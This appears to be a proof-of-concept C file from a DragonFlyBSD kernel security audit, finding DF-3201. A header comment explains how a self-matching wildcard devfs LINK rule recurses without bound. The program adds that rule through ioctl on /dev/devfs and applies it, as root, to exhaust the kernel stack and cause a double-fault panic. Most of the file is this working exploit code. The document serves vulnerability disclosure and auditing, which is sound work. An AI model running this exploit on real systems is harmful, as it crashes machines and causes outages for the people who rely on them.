⬢ DragonFlyBSD Kernel Audit
DF-3201 / selflink_rec.c
← back to finding ↓ download raw
/*
 * DF-3201 - unbounded rule-application recursion: kernel stack exhaustion
 * (double fault panic) from a single self-matching LINK rule.
 *
 * devfs_allocp() (devfs_core.c:292) calls devfs_rule_check_apply() for every
 * newly created node.  A LINK rule whose own output matches itself therefore
 * recurses without bound:
 *
 *   check_apply(node) -> create_link() -> devfs_alias_create()
 *     -> devfs_allocp() -> check_apply(alias) -> ...
 *
 * Rule { NAME "*", LINK, linkname "y" } applied to any node "foo" creates
 * alias "yfoo" (create_link strips strlen("*")-1 == 0 bytes); "yfoo" matches
 * "*" too, creating "yyfoo", then "yyyfoo"... -- each generation is one more
 * nested check_apply/allocp frame pair until the kernel stack is exhausted
 * and the CPU double-faults.  No memory-safety bug is required; the OOB read
 * of DF-3199 is unnecessary for this -- a plain wildcard does it.
 *
 * NOTE: DEVFS_RULE_APPLY is asynchronous; the recursion happens on the devfs
 * core thread while it holds devfs_lock.
 *
 * Build:  cc -static -O -o selflink_rec selflink_rec.c
 * Run  :  ./selflink_rec      (as root; expect double fault panic)
 */
#include <sys/ioctl.h>
#include <limits.h>
#include <sys/devfs_rules.h>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

int
main(void)
{
	struct devfs_rule_ioctl r;
	int fd;

	fd = open("/dev/devfs", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/devfs");

	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_LINK;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	strlcpy(r.name, "*", sizeof(r.name));	/* matches EVERY node */
	strlcpy(r.linkname, "y", sizeof(r.linkname));/* alias = "y" + node name */

	if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0)
		err(1, "DEVFS_RULE_ADD");

	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	printf("issuing DEVFS_RULE_APPLY '*' -- expect stack-exhaustion "
	    "double fault on the devfs core thread\n");
	fflush(stdout);
	if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0)
		err(1, "DEVFS_RULE_APPLY");
	sleep(5);
	printf("SURVIVED (no panic)\n");
	return 0;
}